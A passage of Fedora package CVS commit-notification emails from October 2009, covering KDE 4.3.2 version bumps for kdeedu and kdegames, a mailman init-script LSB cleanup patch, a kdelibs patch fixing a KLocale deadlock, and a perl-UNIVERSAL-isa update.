	1.187 sources, 1.68, 1.69
Message-ID: <20091007103640.B048311C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeedu/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6693/F-11

Modified Files:
	.cvsignore kdeedu.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-11/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Sep 2009 17:24:25 -0000	1.67
+++ .cvsignore	7 Oct 2009 10:36:40 -0000	1.68
@@ -1 +1 @@
-kdeedu-4.3.1.tar.bz2
+kdeedu-4.3.2.tar.bz2


Index: kdeedu.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-11/kdeedu.spec,v
retrieving revision 1.186
retrieving revision 1.187
diff -u -p -r1.186 -r1.187
--- kdeedu.spec	29 Sep 2009 20:54:16 -0000	1.186
+++ kdeedu.spec	7 Oct 2009 10:36:40 -0000	1.187
@@ -6,8 +6,8 @@
 
 Name:    kdeedu
 Summary: Educational/Edutainment applications
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - kdeedu-marble multilib fixes (rebuild for digikam botch)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-11/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	1 Sep 2009 17:24:25 -0000	1.68
+++ sources	7 Oct 2009 10:36:40 -0000	1.69
@@ -1 +1 @@
-f283c3727e3507e548e43b84a28def7d  kdeedu-4.3.1.tar.bz2
+d96d87627471d5b34ccfbb44a5fa50f8  kdeedu-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:36:41 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:36:41 +0000 (UTC)
Subject: rpms/kdeedu/devel .cvsignore,1.71,1.72
Message-ID: <20091007103641.6EC1111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeedu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6693/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/devel/.cvsignore,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- .cvsignore	5 Oct 2009 10:52:57 -0000	1.71
+++ .cvsignore	7 Oct 2009 10:36:41 -0000	1.72
@@ -1,2 +1 @@
-kdeedu-4.3.1.tar.bz2
 kdeedu-4.3.2.tar.bz2



From dnovotny at fedoraproject.org  Wed Oct  7 10:37:56 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Wed,  7 Oct 2009 10:37:56 +0000 (UTC)
Subject: rpms/mailman/devel mailman-2.1.12-initcleanup.patch, NONE,
	1.1 mailman.spec, 1.86, 1.87
Message-ID: <20091007103756.4D60711C00E6@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/mailman/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7269

Modified Files:
	mailman.spec 
Added Files:
	mailman-2.1.12-initcleanup.patch 
Log Message:
init script cleanup and fixes for LSB compliance (bz#524016)


mailman-2.1.12-initcleanup.patch:
 mailman.in |   23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

--- NEW FILE mailman-2.1.12-initcleanup.patch ---
diff -up mailman-2.1.12/misc/mailman.in.initcleanup mailman-2.1.12/misc/mailman.in
--- mailman-2.1.12/misc/mailman.in.initcleanup	2009-10-05 09:09:35.000000000 -0400
+++ mailman-2.1.12/misc/mailman.in	2009-10-05 17:53:56.000000000 -0400
@@ -91,6 +91,8 @@ function start()
     then
 	touch /var/lock/subsys/$prog
 	InstallCron
+    else
+        RETVAL=6	
     fi
     echo
     return $RETVAL
@@ -98,6 +100,8 @@ function start()
 
 function stop()
 {
+    if [ -f /var/lock/subsys/$prog ]
+    then
     echo -n $"Shutting down $prog: "
     mailman-update-cfg
     daemon $MAILMANCTL -q stop
@@ -108,6 +112,10 @@ function stop()
 	RemoveCron
     fi
     echo
+    else
+    echo $"$prog already stopped."
+    RETVAL=0
+    fi
     return $RETVAL
 }
 
@@ -135,7 +143,7 @@ case "$1" in
     RETVAL=$?
     ;;
 
-'condrestart')
+'condrestart'|'try-restart')
     $MAILMANCTL -q -u status
     retval=$?
     if [ $retval -eq 0 ]
@@ -146,13 +154,20 @@ case "$1" in
     ;;
 
 'status')
-    $MAILMANCTL -u status
+    output=$($MAILMANCTL -u status)
     RETVAL=$?
+    if [ $RETVAL -eq 3 -a -f /var/lock/subsys/$prog ]
+    then
+        echo $"$prog dead but subsys locked"
+        RETVAL=2
+    else
+        echo $output
+    fi
     ;;
 
 *)
-    echo $"Usage: $prog {start|stop|restart|force-reload|condrestart|status}"
-    RETVAL=3
+    echo $"Usage: $prog {start|stop|restart|force-reload|condrestart|try-restart|status}"
+    RETVAL=2
     ;;
 
 esac


Index: mailman.spec
===================================================================
RCS file: /cvs/extras/rpms/mailman/devel/mailman.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- mailman.spec	28 Jul 2009 10:46:48 -0000	1.86
+++ mailman.spec	7 Oct 2009 10:37:56 -0000	1.87
@@ -1,7 +1,7 @@
 Summary: Mailing list manager with built in Web access
 Name: mailman
 Version: 2.1.12
-Release: 9%{?dist}
+Release: 10%{?dist}
 Epoch: 3
 Group: Applications/Internet
 Source0: ftp://ftp.gnu.org/pub/gnu/mailman/mailman-%{version}.tgz
@@ -32,6 +32,7 @@ Patch15: mailman-2.1.12-lctype.patch
 #Patch15: mailman-2.1.11-footer.patch
 Patch16: mailman-2.1.12-privurl.patch
 Patch17: mailman-2.1.12-mmcfg.patch
+Patch18: mailman-2.1.12-initcleanup.patch
 
 License: GPLv2+
 URL: http://www.list.org/
@@ -118,6 +119,7 @@ additional installation steps, these are
 #%%patch15 -p1 -b .footer
 %patch16 -p1 -b .privurl
 %patch17 -p1 -b .mmcfg
+%patch18 -p1 -b .initcleanup
 
 #cp $RPM_SOURCE_DIR/mailman.INSTALL.REDHAT.in INSTALL.REDHAT.in
 cp %{SOURCE5} INSTALL.REDHAT.in
@@ -485,6 +487,9 @@ exit 0
 %attr(0755,root,root) %{_bindir}/mailman-update-cfg
 
 %changelog
+* Wed Oct 07 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-10
+- init script cleanup and fixes for LSB compliance (bz#524016)
+
 * Tue Jul 28 2009 Daniel Novotny <dnovotny at redhat.com> 3:2.1.12-9
 - regenerated patches so patch fuzz 3 is not needed (bz#513207)
 - mm_cfg.pyc and .pyo are now %%verify(not md5 size mtime) (bz#512794)



From ltinkl at fedoraproject.org  Wed Oct  7 10:38:04 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:38:04 +0000 (UTC)
Subject: rpms/kdegames/devel .cvsignore,1.73,1.74
Message-ID: <20091007103804.DEA5711C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegames/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7286/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegames/devel/.cvsignore,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- .cvsignore	5 Oct 2009 11:56:47 -0000	1.73
+++ .cvsignore	7 Oct 2009 10:38:04 -0000	1.74
@@ -1,2 +1 @@
-kdegames-4.3.1.tar.bz2
 kdegames-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:38:03 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:38:03 +0000 (UTC)
Subject: rpms/kdegames/F-10 .cvsignore, 1.66, 1.67 kdegames.spec, 1.122,
	1.123 sources, 1.71, 1.72
Message-ID: <20091007103803.CAE5F11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegames/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7286/F-10

Modified Files:
	.cvsignore kdegames.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-10/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	1 Sep 2009 17:29:52 -0000	1.66
+++ .cvsignore	7 Oct 2009 10:38:03 -0000	1.67
@@ -1 +1 @@
-kdegames-4.3.1.tar.bz2
+kdegames-4.3.2.tar.bz2


Index: kdegames.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-10/kdegames.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- kdegames.spec	12 Sep 2009 17:47:20 -0000	1.122
+++ kdegames.spec	7 Oct 2009 10:38:03 -0000	1.123
@@ -1,9 +1,8 @@
-
 Name:    kdegames
 Summary: K Desktop Environment 4 - Games
 Epoch:   6
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 URL:     http://www.kde.org/
@@ -16,7 +15,7 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 # In ktron.desktop, just remove all the translations containing "Tron" or
 # "KTron". Use my translations of GenericName for de, fr, it, feel free to add
 # more, but don't use "Tron" in them! -- Kevin
-Patch0:  kdegames-4.3.1-trademarks.patch
+Patch0:  kdegames-4.3.2-trademarks.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -230,6 +229,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Sep 12 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
 - also fix ktron.desktop rebranding for non-US locales
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-10/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	1 Sep 2009 17:29:52 -0000	1.71
+++ sources	7 Oct 2009 10:38:03 -0000	1.72
@@ -1 +1 @@
-dd0819543978033d4701d65109bf3926  kdegames-4.3.1.tar.bz2
+7ddf38fb2aa84bd14d176d5a9f45ed3f  kdegames-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:38:04 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:38:04 +0000 (UTC)
Subject: rpms/kdegames/F-12 .cvsignore, 1.72, 1.73 kdegames.spec, 1.147,
	1.148 sources, 1.75, 1.76
Message-ID: <20091007103804.A633111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegames/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7286/F-12

Modified Files:
	.cvsignore kdegames.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-12/.cvsignore,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- .cvsignore	1 Sep 2009 17:29:52 -0000	1.72
+++ .cvsignore	7 Oct 2009 10:38:04 -0000	1.73
@@ -1 +1 @@
-kdegames-4.3.1.tar.bz2
+kdegames-4.3.2.tar.bz2


Index: kdegames.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-12/kdegames.spec,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- kdegames.spec	12 Sep 2009 17:46:32 -0000	1.147
+++ kdegames.spec	7 Oct 2009 10:38:04 -0000	1.148
@@ -1,9 +1,8 @@
-
 Name:    kdegames
 Summary: K Desktop Environment 4 - Games
 Epoch:   6
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 URL:     http://www.kde.org/
@@ -16,7 +15,7 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 # In ktron.desktop, just remove all the translations containing "Tron" or
 # "KTron". Use my translations of GenericName for de, fr, it, feel free to add
 # more, but don't use "Tron" in them! -- Kevin
-Patch0:  kdegames-4.3.1-trademarks.patch
+Patch0:  kdegames-4.3.2-trademarks.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -230,6 +229,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Sep 12 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
 - also fix ktron.desktop rebranding for non-US locales
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-12/sources,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sources	28 Aug 2009 13:29:02 -0000	1.75
+++ sources	7 Oct 2009 10:38:04 -0000	1.76
@@ -1 +1 @@
-dd0819543978033d4701d65109bf3926  kdegames-4.3.1.tar.bz2
+7ddf38fb2aa84bd14d176d5a9f45ed3f  kdegames-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:38:04 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:38:04 +0000 (UTC)
Subject: rpms/kdegames/F-11 .cvsignore, 1.69, 1.70 kdegames.spec, 1.134,
	1.135 sources, 1.72, 1.73
Message-ID: <20091007103804.459A611C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegames/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7286/F-11

Modified Files:
	.cvsignore kdegames.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-11/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 17:29:52 -0000	1.69
+++ .cvsignore	7 Oct 2009 10:38:03 -0000	1.70
@@ -1 +1 @@
-kdegames-4.3.1.tar.bz2
+kdegames-4.3.2.tar.bz2


Index: kdegames.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-11/kdegames.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- kdegames.spec	12 Sep 2009 17:47:20 -0000	1.134
+++ kdegames.spec	7 Oct 2009 10:38:03 -0000	1.135
@@ -1,9 +1,8 @@
-
 Name:    kdegames
 Summary: K Desktop Environment 4 - Games
 Epoch:   6
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 URL:     http://www.kde.org/
@@ -16,7 +15,7 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 # In ktron.desktop, just remove all the translations containing "Tron" or
 # "KTron". Use my translations of GenericName for de, fr, it, feel free to add
 # more, but don't use "Tron" in them! -- Kevin
-Patch0:  kdegames-4.3.1-trademarks.patch
+Patch0:  kdegames-4.3.2-trademarks.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -230,6 +229,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Sep 12 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
 - also fix ktron.desktop rebranding for non-US locales
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegames/F-11/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	1 Sep 2009 17:29:52 -0000	1.72
+++ sources	7 Oct 2009 10:38:04 -0000	1.73
@@ -1 +1 @@
-dd0819543978033d4701d65109bf3926  kdegames-4.3.1.tar.bz2
+7ddf38fb2aa84bd14d176d5a9f45ed3f  kdegames-4.3.2.tar.bz2



From than at fedoraproject.org  Wed Oct  7 10:39:07 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 10:39:07 +0000 (UTC)
Subject: rpms/kdelibs/devel kdelibs-4.3.2-kde#209712.patch, NONE,
	1.1 kdelibs.spec, 1.520, 1.521
Message-ID: <20091007103907.EE57C11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7593

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#209712.patch 
Log Message:
fix a deadlock in KLocale



kdelibs-4.3.2-kde#209712.patch:
 klocale.cpp          |   30 ++++++++++++++++--------------
 klocale_p.h          |   10 ++++++++++
 klocalizedstring.cpp |   24 +++++++++++-------------
 3 files changed, 37 insertions(+), 27 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#209712.patch ---
Index: kdecore/localization/klocale_p.h
===================================================================
--- kdecore/localization/klocale_p.h	(Revision 0)
+++ kdecore/localization/klocale_p.h	(Revision 1032185)
@@ -0,0 +1,10 @@
+#ifndef KLOCALE_P_H
+#define KLOCALE_P_H
+
+class QMutex;
+
+// Used by both KLocale and KLocalizedString, since they call each other.
+QMutex* kLocaleMutex();
+
+#endif /* KLOCALE_P_H */
+
Index: kdecore/localization/klocalizedstring.cpp
===================================================================
--- kdecore/localization/klocalizedstring.cpp	(Revision 1032184)
+++ kdecore/localization/klocalizedstring.cpp	(Revision 1032185)
@@ -24,6 +24,7 @@
 #include <kglobal.h>
 #include <kdebug.h>
 #include <klocale.h>
+#include <klocale_p.h>
 #include <kcomponentdata.h>
 #include <klibrary.h>
 #include <kstandarddirs.h>
@@ -126,8 +127,6 @@
 
     QHash<QString, KuitSemantics*> formatters;
 
-    QMutex mutex;
-
     KLocalizedStringPrivateStatics () :
         theFence("|/|"),
         startInterp("$["),
@@ -144,9 +143,7 @@
 
         translits(),
 
-        formatters(),
-
-        mutex(QMutex::Recursive)
+        formatters()
     {}
 
     ~KLocalizedStringPrivateStatics ()
@@ -216,7 +213,7 @@
 QString KLocalizedStringPrivate::toString (const KLocale *locale) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Assure the message has been supplied.
     if (msg.isEmpty())
@@ -474,7 +471,7 @@
                                              const QString &ctxt) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     QString final = text;
 
@@ -499,7 +496,7 @@
                                                        bool &fallback) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -564,7 +561,7 @@
     // fallback is set to true if Transcript evaluation requested so.
 
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     result.clear();
     fallback = false;
@@ -716,7 +713,7 @@
 QVariant KLocalizedStringPrivate::segmentToValue (const QString &seg) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Return invalid variant if segment is either not a proper
     // value reference, or the reference is out of bounds.
@@ -751,7 +748,7 @@
                                                  const QString &final) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -945,7 +942,7 @@
 void KLocalizedStringPrivate::loadTranscript ()
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     s->loadTranscriptCalled = true;
     s->ktrs = NULL; // null indicates that Transcript is not available
@@ -979,7 +976,8 @@
         return;
     }
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    // Very important: do not the mutex here.
+    //QMutexLocker lock(kLocaleMutex());
 
     // Find script modules for all included language/catalogs that have them,
     // and remember their paths.
Index: kdecore/localization/klocale.cpp
===================================================================
--- kdecore/localization/klocale.cpp	(Revision 1032184)
+++ kdecore/localization/klocale.cpp	(Revision 1032185)
@@ -22,6 +22,7 @@
 */
 
 #include "klocale.h"
+#include "klocale_p.h"
 
 #include <config.h>
 
@@ -242,7 +243,6 @@
   // Handling of translation catalogs
   QStringList languageList;
 
-  QMutex* mutex;
   QList<KCatalogName> catalogNames; // list of all catalogs (regardless of language)
   QList<KCatalog> catalogs; // list of all found catalogs, one instance per catalog name and language
   int numberOfSysCatalogs; // number of catalogs that each app draws from
@@ -276,7 +276,6 @@
 KLocalePrivate::KLocalePrivate(const QString& catalog, KConfig *config, const QString &language_, const QString &country_)
     : language(language_),
       country(country_),
-      mutex(new QMutex(QMutex::Recursive)),
       useTranscript(false),
       codecForEncoding(0),
       languages(0), calendar(0),
@@ -311,7 +310,7 @@
 void KLocalePrivate::initMainCatalogs()
 {
   KLocaleStaticData *s = staticData;
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
 
   if (!s->maincatalog.isEmpty()) {
       // If setMainCatalog was called, then we use that (e.g. korgac calls setMainCatalog("korganizer") to use korganizer.po)
@@ -541,7 +540,7 @@
 
 bool KLocalePrivate::setLanguage(const QString & _language, KConfig *config)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   languageList.removeAll( _language );
   languageList.prepend( _language ); // let us consider this language to be the most important one
 
@@ -563,7 +562,7 @@
 
 bool KLocalePrivate::setLanguage(const QStringList & languages)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   // This list might contain
   // 1) some empty strings that we have to eliminate
   // 2) duplicate entries like in de:fr:de, where we have to keep the first occurrence of a language in order
@@ -685,7 +684,7 @@
 
 void KLocale::insertCatalog( const QString & catalog )
 {
-  QMutexLocker lock(d->mutex);
+  QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos != -1) {
         ++d->catalogNames[pos].loadCount;
@@ -736,7 +735,7 @@
 
 void KLocale::removeCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -749,7 +748,7 @@
 
 void KLocale::setActiveCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -759,7 +758,6 @@
 
 KLocale::~KLocale()
 {
-    delete d->mutex;
     delete d->calendar;
     delete d->languages;
     delete d;
@@ -788,7 +786,7 @@
                 << "Fix the program" << endl;
   }
 
-  QMutexLocker locker(mutex);
+  QMutexLocker locker(kLocaleMutex());
   // determine the fallback string
   QString fallback;
   if ( msgid_plural == NULL )
@@ -1370,7 +1368,7 @@
     //Kibi-byte             KiB             2^10    1,024 bytes
 
     if (d->byteSizeFmt.size() == 0) {
-        QMutexLocker lock(d->mutex);
+        QMutexLocker lock(kLocaleMutex());
         // Pretranslated format strings for byte sizes.
         #define CACHEBYTEFMT(x) { \
             QString s; \
@@ -2568,7 +2566,6 @@
 {
   d->languages = 0; // Don't copy languages
   d->calendar = 0; // Don't copy the calendar
-  d->mutex = 0; // Don't copy the mutex
 }
 
 KLocale & KLocale::operator=(const KLocale & rhs)
@@ -2583,8 +2580,7 @@
 
 void KLocale::copyCatalogsTo(KLocale *locale)
 {
-    QMutexLocker lock(d->mutex);
-    QMutexLocker lockOther(locale->d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     locale->d->catalogNames = d->catalogNames;
     locale->d->updateCatalogs();
 }
@@ -2656,3 +2652,9 @@
 {
     return d->dateTimeDigitSet;
 }
+
+Q_GLOBAL_STATIC_WITH_ARGS(QMutex, s_kLocaleMutex, (QMutex::Recursive))
+QMutex* kLocaleMutex()
+{
+    return s_kLocaleMutex();
+}


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.520
retrieving revision 1.521
diff -u -p -r1.520 -r1.521
--- kdelibs.spec	5 Oct 2009 13:30:20 -0000	1.520
+++ kdelibs.spec	7 Oct 2009 10:39:07 -0000	1.521
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -79,6 +79,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
 # 4.3 branch
+Patch100: kdelibs-4.3.2-kde#209712.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -201,6 +202,7 @@ format for easy browsing.
 
 # upstream patches
 # 4.3
+%patch100 -p0 -b .kde#209712
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -393,6 +395,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix a deadlock in KLocale
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From mmaslano at fedoraproject.org  Wed Oct  7 10:39:09 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 10:39:09 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-isa/devel .cvsignore, 1.4,
	1.5 perl-UNIVERSAL-isa.spec, 1.10, 1.11 sources, 1.4, 1.5
Message-ID: <20091007103909.5869E11C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-UNIVERSAL-isa/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7625

Modified Files:
	.cvsignore perl-UNIVERSAL-isa.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.03-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-isa/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Nov 2008 23:36:33 -0000	1.4
+++ .cvsignore	7 Oct 2009 10:39:09 -0000	1.5
@@ -1 +1 @@
-UNIVERSAL-isa-1.01.tar.gz
+UNIVERSAL-isa-1.03.tar.gz


Index: perl-UNIVERSAL-isa.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-isa/devel/perl-UNIVERSAL-isa.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-UNIVERSAL-isa.spec	26 Jul 2009 17:21:20 -0000	1.10
+++ perl-UNIVERSAL-isa.spec	7 Oct 2009 10:39:09 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-isa
-Version:        1.01
-Release:        3%{?dist}
+Version:        1.03
+Release:        1%{?dist}
 Summary:        Hack around module authors using UNIVERSAL::isa as a function
 
 Group:          Development/Libraries
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.03-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.01-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-isa/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Nov 2008 23:36:33 -0000	1.4
+++ sources	7 Oct 2009 10:39:09 -0000	1.5
@@ -1 +1 @@
-032d0d035b6dc8e25dd0e8af55443b9b  UNIVERSAL-isa-1.01.tar.gz
+0643f2e04cd0b5739fc0908af291c609  UNIVERSAL-isa-1.03.tar.gz



From ltinkl at fedoraproject.org  Wed Oct  7 10:41:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:41:26 +0000 (UTC)
Subject: rpms/kdegraphics/F-10 .cvsignore, 1.59, 1.60 kdegraphics.spec, 1.196,
	1.197 sources, 1.68, 1.69
Message-ID: <20091007104126.5622511C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdegraphics/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8094/F-10

